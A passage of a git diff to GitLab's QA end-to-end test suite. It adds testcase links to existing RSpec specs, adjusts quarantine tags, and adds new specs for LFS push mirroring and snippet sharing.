- it 'user rebases source branch of merge request' do
+ it 'user rebases source branch of merge request', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/398' do
Flow::Login.sign_in
project = Resource::Project.fabricate_via_api! do |project|
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb
index cb660a3e40b..366671d3385 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb
@@ -31,7 +31,7 @@ module QA
merge_request.visit!
end
- it 'user squashes commits while merging' do
+ it 'user squashes commits while merging', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/418' do
Page::MergeRequest::Show.perform do |merge_request_page|
merge_request_page.retry_on_exception(reload: true) do
expect(merge_request_page).to have_text('to be squashed')
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb
index 15c41581e6b..5b1c15016bf 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb
@@ -15,7 +15,7 @@ module QA
merge_request.visit!
end
- it 'views the merge request email patches' do
+ it 'views the merge request email patches', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/416' do
Page::MergeRequest::Show.perform(&:view_email_patches)
expect(page.text).to start_with('From')
@@ -23,7 +23,7 @@ module QA
expect(page).to have_content("diff --git a/#{merge_request.file_name} b/#{merge_request.file_name}")
end
- it 'views the merge request plain diff' do
+ it 'views the merge request plain diff', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/417' do
Page::MergeRequest::Show.perform(&:view_plain_diff)
expect(page.text).to start_with("diff --git a/#{merge_request.file_name} b/#{merge_request.file_name}")
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
index cab909756c1..98cbc5c0a93 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
@@ -55,7 +55,7 @@ module QA
project.visit!
end
- it 'lists branches correctly after CRUD operations' do
+ it 'lists branches correctly after CRUD operations', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/413' do
Page::Project::Menu.perform(&:go_to_repository_branches)
expect(page).to have_content(master_branch)
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb
index c9cbc68c254..47117c4d456 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb
@@ -26,7 +26,7 @@ module QA
project.wait_for_push_new_branch
end
- it 'user performs a deep clone' do
+ it 'user performs a deep clone', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/475' do
Git::Repository.perform do |repository|
repository.uri = project.repository_http_location.uri
repository.use_default_credentials
@@ -37,7 +37,7 @@ module QA
end
end
- it 'user performs a shallow clone' do
+ it 'user performs a shallow clone', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/411' do
Git::Repository.perform do |repository|
repository.uri = project.repository_http_location.uri
repository.use_default_credentials
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/create_edit_delete_file_via_web_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/create_edit_delete_file_via_web_spec.rb
index d66f0ddcda6..43f4b080c73 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/create_edit_delete_file_via_web_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/create_edit_delete_file_via_web_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Files management' do
- it 'user creates, edits and deletes a file via the Web' do
+ it 'user creates, edits and deletes a file via the Web', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/451' do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
Page::Main::Login.perform(&:sign_in_using_credentials)
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb
index 59e4bb038a7..7a727ffb291 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb
@@ -1,8 +1,8 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/217002', type: :investigating } do
- describe 'Gitaly repository storage', :orchestrated, :repository_storage, :requires_admin do
+ RSpec.describe 'Create', :orchestrated, :repository_storage, :requires_admin do
+ describe 'Gitaly repository storage' do
let(:user) { Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1) }
let(:parent_project) do
Resource::Project.fabricate_via_api! do |project|
@@ -22,7 +22,7 @@ module QA
parent_project.add_member(user)
end
- it 'creates a 2nd fork after moving the parent project' do
+ it 'creates a 2nd fork after moving the parent project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/713' do
Flow::Login.sign_in(as: user)
fork_project.visit!
@@ -30,7 +30,7 @@ module QA
parent_project.change_repository_storage(QA::Runtime::Env.additional_repository_storage)
second_fork_project = Resource::Fork.fabricate_via_api! do |fork|
- fork.name = "second-fork"
+ fork.name = "second-fork-of-#{parent_project.name}"
fork.user = user
fork.upstream = parent_project
end.project
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb
index e3b0d7de9ec..8ac7285d70c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Push over HTTP using Git protocol version 2', :requires_git_protocol_v2 do
- it 'user pushes to the repository' do
+ it 'user pushes to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/469' do
Flow::Login.sign_in
# Create a project to push to
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
index 90beff343ab..8d966c9e46d 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb
@@ -27,7 +27,7 @@ module QA
Page::Main::Menu.perform(&:sign_out_if_signed_in)
end
- it 'user pushes to the repository' do
+ it 'user pushes to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/386' do
project = Resource::Project.fabricate_via_api! do |project|
project.name = 'git-protocol-project'
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
index ceacc73e3c3..08af18a992e 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Git push over HTTP', :ldap_no_tls, :smoke do
- it 'user using a personal access token pushes code to the repository' do
+ it 'user using a personal access token pushes code to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/430' do
Flow::Login.sign_in
access_token = Resource::PersonalAccessToken.fabricate!.access_token
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb
new file mode 100644
index 00000000000..f96b424d233
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create' do
+ describe 'Push mirror a repository over HTTP' do
+ it 'configures and syncs LFS objects for a (push) mirrored repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/414' do
+ Runtime::Feature.enable_and_verify('push_mirror_syncs_lfs')
+ Runtime::Browser.visit(:gitlab, Page::Main::Login)
+ Page::Main::Login.perform(&:sign_in_using_credentials)
+
+ target_project = Resource::Project.fabricate_via_api! do |project|
+ project.name = 'push-mirror-target-project'
+ end
+ target_project_uri = target_project.repository_http_location.uri
+ target_project_uri.user = Runtime::User.username
+
+ source_project_push = Resource::Repository::ProjectPush.fabricate! do |push|
+ push.file_name = 'README.md'
+ push.file_content = '# This is a test project'
+ push.commit_message = 'Add README.md'
+ push.use_lfs = true
+ end
+ source_project_push.project.visit!
+
+ Page::Project::Menu.perform(&:go_to_repository_settings)
+ Page::Project::Settings::Repository.perform do |settings|
+ settings.expand_mirroring_repositories do |mirror_settings|
+ # Configure the source project to push to the target project
+ mirror_settings.repository_url = target_project_uri
+ mirror_settings.mirror_direction = 'Push'
+ mirror_settings.authentication_method = 'Password'
+ mirror_settings.password = Runtime::User.password
+ mirror_settings.mirror_repository
+ mirror_settings.update target_project_uri
+ end
+ end
+
+ # Check that the target project has the commit from the source
+ target_project.visit!
+ expect(page).to have_content('README.md')
+ expect(page).to have_content('The rendered file could not be displayed because it is stored in LFS')
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb
index 254e32a88ce..00d4acbd1e1 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Push mirror a repository over HTTP' do
- it 'configures and syncs a (push) mirrored repository' do
+ it 'configures and syncs a (push) mirrored repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/414' do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
Page::Main::Login.perform(&:sign_in_using_credentials)
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb
index 443ace0c9f0..2ebab7d2a30 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb
@@ -26,7 +26,7 @@ module QA
set_file_size_limit(nil)
end
- it 'push successful when the file size is under the limit' do
+ it 'push successful when the file size is under the limit', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/456' do
set_file_size_limit(5)
retry_on_fail do
@@ -36,7 +36,7 @@ module QA
end
end
- it 'push fails when the file size is above the limit' do
+ it 'push fails when the file size is above the limit', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/458' do
set_file_size_limit(2)
retry_on_fail do
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb
index 2baf1e1d8fd..8b6973e6cea 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Git push over HTTP', :ldap_no_tls do
- it 'user pushes code to the repository', :smoke do
+ it 'user pushes code to the repository', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/426' do
Flow::Login.sign_in
Resource::Repository::ProjectPush.fabricate! do |push|
@@ -18,7 +18,7 @@ module QA
end
end
- it 'pushes to a project using a specific Praefect repository storage', :smoke, :requires_admin, :requires_praefect do
+ it 'pushes to a project using a specific Praefect repository storage', :smoke, :requires_admin, :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/742' do
Flow::Login.sign_in_as_admin
project = Resource::Project.fabricate_via_api! do |storage_project|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb
index d0f0cabbbca..5e7c17cbfaf 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb
@@ -26,7 +26,7 @@ module QA
Flow::Login.sign_in
end
- it 'pushes code to the repository via SSH', :smoke do
+ it 'pushes code to the repository via SSH', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/969' do
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = project
push.ssh_key = @key
@@ -41,7 +41,7 @@ module QA
end
end
- it 'pushes multiple branches and tags together', :smoke do
+ it 'pushes multiple branches and tags together', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/970' do
branches = []
tags = []
Git::Repository.perform do |repository|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
index 3e1e470d8c3..d20abd658c6 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
@@ -18,7 +18,7 @@ module QA
end
context 'when developers and maintainers are allowed to push to a protected branch' do
- it 'user with push rights successfully pushes to the protected branch' do
+ it 'user with push rights successfully pushes to the protected branch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/447' do
create_protected_branch(allowed_to_push: {
roles: Resource::ProtectedBranch::Roles::DEVS_AND_MAINTAINERS
})
@@ -30,7 +30,7 @@ module QA
end
context 'when developers and maintainers are not allowed to push to a protected branch' do
- it 'user without push rights fails to push to the protected branch' do
+ it 'user without push rights fails to push to the protected branch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/449' do
create_protected_branch(allowed_to_push: {
roles: Resource::ProtectedBranch::Roles::NO_ONE
})
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb
index c5a07c69620..2001069c2a4 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb
@@ -9,7 +9,7 @@ module QA
Flow::Login.sign_in
end
- it 'user can add an SSH key' do
+ it 'user can add an SSH key', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/929' do
key = Resource::SSHKey.fabricate_via_browser_ui! do |resource|
resource.title = key_title
end
@@ -20,7 +20,7 @@ module QA
# Note this context ensures that the example it contains is executed after the example above. Be aware of the order of execution if you add new examples in either context.
context 'after adding an ssh key' do
- it 'can delete an ssh key' do
+ it 'can delete an ssh key', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/930' do
Page::Main::Menu.perform(&:click_settings_link)
Page::Profile::Menu.perform(&:click_ssh_keys)
Page::Profile::SSHKeys.perform do |ssh_keys|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb
index cf91b829817..cd6ffdf4571 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb
@@ -43,7 +43,7 @@ module QA
find('pre').text
end
- it 'user views raw email patch' do
+ it 'user views raw email patch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/442' do
view_commit
Page::Project::Commit::Show.perform(&:select_email_patches)
@@ -53,7 +53,7 @@ module QA
expect(page).to have_content('diff --git a/second b/second')
end
- it 'user views raw commit diff' do
+ it 'user views raw commit diff', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/439' do
view_commit
Page::Project::Commit::Show.perform(&:select_plain_diff)
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
index ddbeb434955..ef3b315506f 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create' do
+ RSpec.describe 'Create', quarantine: { only: { subdomain: :staging }, issue: 'https://gitlab.com/gitlab-org/gitaly/-/issues/3143', type: :bug } do
describe 'Version control for personal snippets' do
let(:new_file) { 'new_snippet_file' }
let(:changed_content) { 'changes' }
@@ -36,7 +36,7 @@ module QA
Flow::Login.sign_in
end
- it 'clones, pushes, and pulls a snippet over HTTP, edits via UI' do
+ it 'clones, pushes, and pulls a snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/826' do
Resource::Repository::Push.fabricate! do |push|
push.repository_http_uri = repository_uri_http
push.file_name = new_file
@@ -65,7 +65,7 @@ module QA
end
end
- it 'clones, pushes, and pulls a snippet over SSH, deletes via UI' do
+ it 'clones, pushes, and pulls a snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/825' do
Resource::Repository::Push.fabricate! do |push|
push.repository_ssh_uri = repository_uri_ssh
push.ssh_key = ssh_key
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
index dc1654b44c8..34f6b464f29 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create' do
+ RSpec.describe 'Create', quarantine: { only: { subdomain: :staging }, issue: 'https://gitlab.com/gitlab-org/gitaly/-/issues/3143', type: :bug } do
describe 'Version control for project snippets' do
let(:new_file) { 'new_snippet_file' }
let(:changed_content) { 'changes' }
@@ -36,7 +36,7 @@ module QA
Flow::Login.sign_in
end
- it 'clones, pushes, and pulls a project snippet over HTTP, edits via UI' do
+ it 'clones, pushes, and pulls a project snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/833' do
Resource::Repository::Push.fabricate! do |push|
push.repository_http_uri = repository_uri_http
push.file_name = new_file
@@ -65,7 +65,7 @@ module QA
end
end
- it 'clones, pushes, and pulls a project snippet over SSH, deletes via UI' do
+ it 'clones, pushes, and pulls a project snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/832' do
Resource::Repository::Push.fabricate! do |push|
push.repository_ssh_uri = repository_uri_ssh
push.ssh_key = ssh_key
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
index d2b86904cd3..8445fdafdd4 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create', :smoke do
describe 'Personal snippet creation' do
- it 'User creates a personal snippet' do
+ it 'User creates a personal snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/840' do
Flow::Login.sign_in
Page::Main::Menu.perform do |menu|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
index 05795e9b51e..0a8f6e13b2e 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do # to be converted to a smoke test once proved to be stable
describe 'Project snippet creation' do
- it 'User creates a project snippet' do
+ it 'User creates a project snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/839' do
Flow::Login.sign_in
Resource::ProjectSnippet.fabricate_via_browser_ui! do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb
new file mode 100644
index 00000000000..6b21d84cb13
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create' do
+ describe 'Sharing snippets' do
+ let(:snippet) do
+ Resource::Snippet.fabricate! do |snippet|
+ snippet.title = 'Shared snippet'
+ snippet.visibility = 'Public'
+ snippet.file_content = 'code.py'
+ snippet.file_content = 'code to be shared'
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ end
+
+ context 'when the snippet is public' do
+ it 'can be shared with not signed-in users', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1016' do
+ snippet
+
+ sharing_link = Page::Dashboard::Snippet::Show.perform do |snippet|
+ expect(snippet).to have_embed_dropdown
+ snippet.get_sharing_link
+ end
+
+ Page::Main::Menu.perform(&:sign_out)
+
+ page.visit(sharing_link)
+
+ Page::Dashboard::Snippet::Show.perform do |snippet|
+ expect(snippet).to have_snippet_title('Shared snippet')
+ expect(snippet).to have_visibility_type(/public/i)
+ expect(snippet).to have_file_content('code to be shared')
+ expect(snippet).to have_embed_dropdown
+ end
+ end
+ end
+
+ context 'when the snippet is changed to private' do
+ it 'does not display Embed/Share dropdown', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1015' do
+ snippet
+
+ Page::Dashboard::Snippet::Show.perform do |snippet|
+ expect(snippet).to have_embed_dropdown
+
+ snippet.click_edit_button
+ end
+
+ Page::Dashboard::Snippet::Edit.perform do |snippet|
+ snippet.change_visibility_to('Private')
+ snippet.save_changes
+ end
+
+ Page::Dashboard::Snippet::Show.perform do |snippet|
+ expect(snippet).not_to have_embed_dropdown
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
index fbf70153e1d..ea821f8b3e6 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
@@ -17,7 +17,7 @@ module QA
Flow::Login.sign_in
end
- it "creates the first file in an empty project via Web IDE" do
+ it "creates the first file in an empty project via Web IDE", testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/847' do
# In the first iteration, the test opens Web IDE by modifying the URL to address past regressions.
# Once the Web IDE button is introduced for empty projects, the test will be modified to go through UI.
# See https://gitlab.com/gitlab-org/gitlab/-/issues/27915 and https://gitlab.com/gitlab-org/gitlab/-/issues/27535.
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
index ad7455242bc..e2fa487c937 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
@@ -14,7 +14,7 @@ module QA
let(:user) { Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1) }
context 'when no fork is present' do
- it 'suggests to create a fork when a user clicks Web IDE in the main project' do
+ it 'suggests to create a fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/959' do
Flow::Login.sign_in(as: user)
parent_project.visit!
@@ -34,7 +34,7 @@ module QA
end
end
- it 'opens the fork when a user clicks Web IDE in the main project' do
+ it 'opens the fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/960' do
Flow::Login.sign_in(as: user)
fork_project.upstream.visit!
Page::Project::Show.perform do |project_page|
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
index 7e0d8822101..4e1b6b6094e 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
@@ -20,7 +20,7 @@ module QA
merge_request.visit!
end
- it 'opens and edits a merge request in Web IDE' do
+ it 'opens and edits a merge request in Web IDE', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/705' do
Page::MergeRequest::Show.perform do |show|
show.click_open_in_web_ide
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
index 77a5998362c..6044c87d24e 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
@@ -15,7 +15,7 @@ module QA
Flow::Login.sign_in
end
- it 'by adding a home page to the wiki' do
+ it 'by adding a home page to the wiki', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/856' do
project.visit!
Page::Project::Menu.perform(&:click_wiki)
@@ -35,7 +35,7 @@ module QA
end
end
- it 'by adding a second page to the wiki' do
+ it 'by adding a second page to the wiki', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/855' do
wiki.visit!
Page::Project::Wiki::Show.perform(&:click_new_page)
@@ -54,7 +54,7 @@ module QA
end
end
- it 'by adding a home page to the wiki using git push' do
+ it 'by adding a home page to the wiki using git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/853' do
empty_wiki = Resource::Wiki::ProjectPage.new do |empty_wiki|
empty_wiki.project = project
end
@@ -73,7 +73,7 @@ module QA
end
end
- it 'by adding a second page to the wiki using git push' do
+ it 'by adding a second page to the wiki using git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/854' do
Resource::Repository::WikiPush.fabricate! do |push|
push.file_name = "#{new_wiki_title}.md"
push.file_content = new_wiki_content
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
index dbc7798a594..30a91c2e254 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
@@ -14,7 +14,7 @@ module QA
Flow::Login.sign_in
end
- it 'by manipulating content on the page' do
+ it 'by manipulating content on the page', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/857' do
wiki.visit!
Page::Project::Wiki::Show.perform(&:click_edit)
@@ -33,7 +33,7 @@ module QA
end
end
- it 'by manipulating content on the page using git push' do
+ it 'by manipulating content on the page using git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/858' do
Resource::Repository::WikiPush.fabricate! do |push|
push.file_content = new_wiki_content
push.commit_message = commit_message
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
index e0d54611731..e8053600930 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
@@ -10,7 +10,7 @@ module QA
Flow::Login.sign_in
end
- it 'has changed the directory' do
+ it 'has changed the directory', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/948' do
initial_wiki.visit!
Page::Project::Wiki::Show.perform(&:click_edit)
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb
index d7f59abc361..dcf52f7c744 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb
@@ -15,7 +15,7 @@ module QA
end
context 'Sidebar' do
- it 'has all expected links that work' do
+ it 'has all expected links that work', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/903' do
